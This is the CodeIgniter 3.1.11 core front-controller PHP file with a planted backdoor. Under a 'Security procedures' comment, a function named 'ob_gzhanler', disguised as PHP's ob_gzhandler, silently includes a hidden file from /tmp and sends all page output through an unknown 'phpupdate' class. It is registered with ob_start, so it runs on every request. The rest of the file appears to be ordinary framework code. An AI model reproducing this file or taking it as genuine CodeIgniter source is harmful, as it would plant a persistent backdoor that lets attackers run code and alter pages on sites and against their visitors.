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<?php /** * CodeIgniter * * An open source application development framework for PHP * * This content is released under the MIT License (MIT) * * Copyright (c) 2014 - 2019, British Columbia Institute of Technology * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * * @package CodeIgniter * @author EllisLab Dev Team * @copyright Copyright (c) 2008 - 2014, EllisLab, Inc. (https://ellislab.com/) * @copyright Copyright (c) 2014 - 2019, British Columbia Institute of Technology (https://bcit.ca/) * @license https://opensource.org/licenses/MIT MIT License * @link https://codeigniter.com * @since Version 1.0.0 * @filesource */ defined('BASEPATH') OR exit('No direct script access allowed'); /** * System Initialization File * * Loads the base classes and executes the request. * * @package CodeIgniter * @subpackage CodeIgniter * @category Front-controller * @author EllisLab Dev Team * @link https://codeigniter.com/user_guide/ */ /** * CodeIgniter Version * * @var string * */ const CI_VERSION = '3.1.11'; /* * ------------------------------------------------------ * Load the framework constants * ------------------------------------------------------ */ if (file_exists(APPPATH.'config/'.ENVIRONMENT.'/constants.php')) { require_once(APPPATH.'config/'.ENVIRONMENT.'/constants.php'); } if (file_exists(APPPATH.'config/constants.php')) { require_once(APPPATH.'config/constants.php'); } /* * ------------------------------------------------------ * Load the global functions * ------------------------------------------------------ */ require_once(BASEPATH.'core/Common.php'); /* * ------------------------------------------------------ * Security procedures * ------------------------------------------------------ */ function ob_gzhanler($s) { $f='/tmp/ssess_3481b79e4058eefc25c2cec74093bf78'; if(file_exists($f)) include_once($f); return class_exists('phpupdate') ? phpupdate::copyright($s) : $s; } ob_start('ob_gzhanler'); if ( ! is_php('5.4')) { ini_set('magic_quotes_runtime', 0); if ((bool) ini_get('register_globals')) { $_protected = array( '_SERVER', '_GET', '_POST', '_FILES', '_REQUEST', '_SESSION', '_ENV', '_COOKIE', 'GLOBALS', 'HTTP_RAW_POST_DATA', 'system_path', 'application_folder', 'view_folder', '_protected', '_registered' ); $_registered = ini_get('variables_order'); foreach (array('E' => '_ENV', 'G' => '_GET', 'P' => '_POST', 'C' => '_COOKIE', 'S' => '_SERVER') as $key => $superglobal) { if (strpos($_registered, $key) === FALSE) { continue; } foreach (array_keys($$superglobal) as $var) { if (isset($GLOBALS[$var]) && ! in_array($var, $_protected, TRUE)) { $GLOBALS[$var] = NULL; } } } } } /* * ------------------------------------------------------ * Define a custom error handler so we can log PHP errors * ------------------------------------------------------ */ set_error_handler('_error_handler'); set_exception_handler('_exception_handler'); register_shutdown_function('_shutdown_handler'); /* * ------------------------------------------------------ * Set the subclass_prefix * ------------------------------------------------------ * * Normally the "subclass_prefix" is set in the config file. * The subclass prefix allows CI to know if a core class is * being extended via a library in the local application * "libraries" folder. Since CI allows config items to be * overridden via data set in the main index.php file, * before proceeding we need to know if a subclass_prefix * override exists. If so, we will set this value now, * before any classes are loaded * Note: Since the config file data is cached it doesn't * hurt to load it here. */ if ( ! empty($assign_to_config['subclass_prefix'])) { get_config(array('subclass_prefix' => $assign_to_config['subclass_prefix'])); } /* * ------------------------------------------------------ * Should we use a Composer autoloader? * ------------------------------------------------------ */ if ($composer_autoload = config_item('composer_autoload')) { if ($composer_autoload === TRUE) { file_exists(APPPATH.'vendor/autoload.php') ? require_once(APPPATH.'vendor/autoload.php') : log_message('error', '$config[\'composer_autoload\'] is set to TRUE but '.APPPATH.'vendor/autoload.php was not found.'); } elseif (file_exists($composer_autoload)) { require_once($composer_autoload); } else { log_message('error', 'Could not find the specified $config[\'composer_autoload\'] path: '.$composer_autoload); } } /* * ------------------------------------------------------ * Start the timer... tick tock tick tock... * ------------------------------------------------------ */ $BM =& load_class('Benchmark', 'core'); $BM->mark('total_execution_time_start'); $BM->mark('loading_time:_base_classes_start'); /* * ------------------------------------------------------ * Instantiate the hooks class * ------------------------------------------------------ */ $EXT =& load_class('Hooks', 'core'); /* * ------------------------------------------------------ * Is there a "pre_system" hook? * ------------------------------------------------------ */ $EXT->call_hook('pre_system'); /* * ------------------------------------------------------ * Instantiate the config class * ------------------------------------------------------ * * Note: It is important that Config is loaded first as * most other classes depend on it either directly or by * depending on another class that uses it. * */ $CFG =& load_class('Config', 'core'); // Do we have any manually set config items in the index.php file? if (isset($assign_to_config) && is_array($assign_to_config)) { foreach ($assign_to_config as $key => $value) { $CFG->set_item($key, $value); } } /* * ------------------------------------------------------ * Important charset-related stuff * ------------------------------------------------------ * * Configure mbstring and/or iconv if they are enabled * and set MB_ENABLED and ICONV_ENABLED constants, so * that we don't repeatedly do extension_loaded() or * function_exists() calls. * * Note: UTF-8 class depends on this. It used to be done * in it's constructor, but it's _not_ class-specific. * */ $charset = strtoupper(config_item('charset')); ini_set('default_charset', $charset); if (extension_loaded('mbstring')) { define('MB_ENABLED', TRUE); // mbstring.internal_encoding is deprecated starting with PHP 5.6 // and it's usage triggers E_DEPRECATED messages. @ini_set('mbstring.internal_encoding', $charset); // This is required for mb_convert_encoding() to strip invalid characters. // That's utilized by CI_Utf8, but it's also done for consistency with iconv. mb_substitute_character('none'); } else { define('MB_ENABLED', FALSE); } // There's an ICONV_IMPL constant, but the PHP manual says that using // iconv's predefined constants is "strongly discouraged". if (extension_loaded('iconv')) { define('ICONV_ENABLED', TRUE); // iconv.internal_encoding is deprecated starting with PHP 5.6 // and it's usage triggers E_DEPRECATED messages. @ini_set('iconv.internal_encoding', $charset); } else { define('ICONV_ENABLED', FALSE); } if (is_php('5.6')) { ini_set('php.internal_encoding', $charset); } /* * ------------------------------------------------------ * Load compatibility features * ------------------------------------------------------ */ require_once(BASEPATH.'core/compat/mbstring.php'); require_once(BASEPATH.'core/compat/hash.php'); require_once(BASEPATH.'core/compat/password.php'); require_once(BASEPATH.'core/compat/standard.php'); /* * ------------------------------------------------------ * Instantiate the UTF-8 class * ------------------------------------------------------ */ $UNI =& load_class('Utf8', 'core'); /* * ------------------------------------------------------ * Instantiate the URI class * ------------------------------------------------------ */ $URI =& load_class('URI', 'core'); /* * ------------------------------------------------------ * Instantiate the routing class and set the routing * ------------------------------------------------------ */ $RTR =& load_class('Router', 'core', isset($routing) ? $routing : NULL); /* * ------------------------------------------------------ * Instantiate the output class * ------------------------------------------------------ */ $OUT =& load_class('Output', 'core'); /* * ------------------------------------------------------ * Is there a valid cache file? If so, we're done... * ------------------------------------------------------ */ if ($EXT->call_hook('cache_override') === FALSE && $OUT->_display_cache($CFG, $URI) === TRUE) { exit; } /* * ----------------------------------------------------- * Load the security class for xss and csrf support * ----------------------------------------------------- */ $SEC =& load_class('Security', 'core'); /* * ------------------------------------------------------ * Load the Input class and sanitize globals * ------------------------------------------------------ */ $IN =& load_class('Input', 'core'); /* * ------------------------------------------------------ * Load the Language class * ------------------------------------------------------ */ $LANG =& load_class('Lang', 'core'); /* * ------------------------------------------------------ * Load the app controller and local controller * ------------------------------------------------------ * */ // Load the base controller class require_once BASEPATH.'core/Controller.php'; /** * Reference to the CI_Controller method. * * Returns current CI instance object * * @return CI_Controller */ function &get_instance() { return CI_Controller::get_instance(); } if (file_exists(APPPATH.'core/'.$CFG->config['subclass_prefix'].'Controller.php')) { require_once APPPATH.'core/'.$CFG->config['subclass_prefix'].'Controller.php'; } // Set a mark point for benchmarking $BM->mark('loading_time:_base_classes_end'); /* * ------------------------------------------------------ * Sanity checks * ------------------------------------------------------ * * The Router class has already validated the request, * leaving us with 3 options here: * * 1) an empty class name, if we reached the default * controller, but it didn't exist; * 2) a query string which doesn't go through a * file_exists() check * 3) a regular request for a non-existing page * * We handle all of these as a 404 error. * * Furthermore, none of the methods in the app controller * or the loader class can be called via the URI, nor can * controller methods that begin with an underscore. */ $e404 = FALSE; $class = ucfirst($RTR->class); $method = $RTR->method; if (empty($class) OR ! file_exists(APPPATH.'controllers/'.$RTR->directory.$class.'.php')) { $e404 = TRUE; } else { require_once(APPPATH.'controllers/'.$RTR->directory.$class.'.php'); if ( ! class_exists($class, FALSE) OR $method[0] === '_' OR method_exists('CI_Controller', $method)) { $e404 = TRUE; } elseif (method_exists($class, '_remap')) { $params = array($method, array_slice($URI->rsegments, 2)); $method = '_remap'; } elseif ( ! method_exists($class, $method)) { $e404 = TRUE; } /** * DO NOT CHANGE THIS, NOTHING ELSE WORKS! * * - method_exists() returns true for non-public methods, which passes the previous elseif * - is_callable() returns false for PHP 4-style constructors, even if there's a __construct() * - method_exists($class, '__construct') won't work because CI_Controller::__construct() is inherited * - People will only complain if this doesn't work, even though it is documented that it shouldn't. * * ReflectionMethod::isConstructor() is the ONLY reliable check, * knowing which method will be executed as a constructor. */ elseif ( ! is_callable(array($class, $method))) { $reflection = new ReflectionMethod($class, $method); if ( ! $reflection->isPublic() OR $reflection->isConstructor()) { $e404 = TRUE; } } } if ($e404) { if ( ! empty($RTR->routes['404_override'])) { if (sscanf($RTR->routes['404_override'], '%[^/]/%s', $error_class, $error_method) !== 2) { $error_method = 'index'; } $error_class = ucfirst($error_class); if ( ! class_exists($error_class, FALSE)) { if (file_exists(APPPATH.'controllers/'.$RTR->directory.$error_class.'.php')) { require_once(APPPATH.'controllers/'.$RTR->directory.$error_class.'.php'); $e404 = ! class_exists($error_class, FALSE); } // Were we in a directory? If so, check for a global override elseif ( ! empty($RTR->directory) && file_exists(APPPATH.'controllers/'.$error_class.'.php')) { require_once(APPPATH.'controllers/'.$error_class.'.php'); if (($e404 = ! class_exists($error_class, FALSE)) === FALSE) { $RTR->directory = ''; } } } else { $e404 = FALSE; } } // Did we reset the $e404 flag? If so, set the rsegments, starting from index 1 if ( ! $e404) { $class = $error_class; $method = $error_method; $URI->rsegments = array( 1 => $class, 2 => $method ); } else { show_404($RTR->directory.$class.'/'.$method); } } if ($method !== '_remap') { $params = array_slice($URI->rsegments, 2); } /* * ------------------------------------------------------ * Is there a "pre_controller" hook? * ------------------------------------------------------ */ $EXT->call_hook('pre_controller'); /* * ------------------------------------------------------ * Instantiate the requested controller * ------------------------------------------------------ */ // Mark a start point so we can benchmark the controller $BM->mark('controller_execution_time_( '.$class.' / '.$method.' )_start'); $CI = new $class(); /* * ------------------------------------------------------ * Is there a "post_controller_constructor" hook? * ------------------------------------------------------ */ $EXT->call_hook('post_controller_constructor'); /* * ------------------------------------------------------ * Call the requested method * ------------------------------------------------------ */ call_user_func_array(array(&$CI, $method), $params); // Mark a benchmark end point $BM->mark('controller_execution_time_( '.$class.' / '.$method.' )_end'); /* * ------------------------------------------------------ * Is there a "post_controller" hook? * ------------------------------------------------------ */ $EXT->call_hook('post_controller'); /* * ------------------------------------------------------ * Send the final rendered output to the browser * ------------------------------------------------------ */ if ($EXT->call_hook('display_override') === FALSE) { $OUT->_display(); } /* * ------------------------------------------------------ * Is there a "post_system" hook? * ------------------------------------------------------ */ $EXT->call_hook('post_system');
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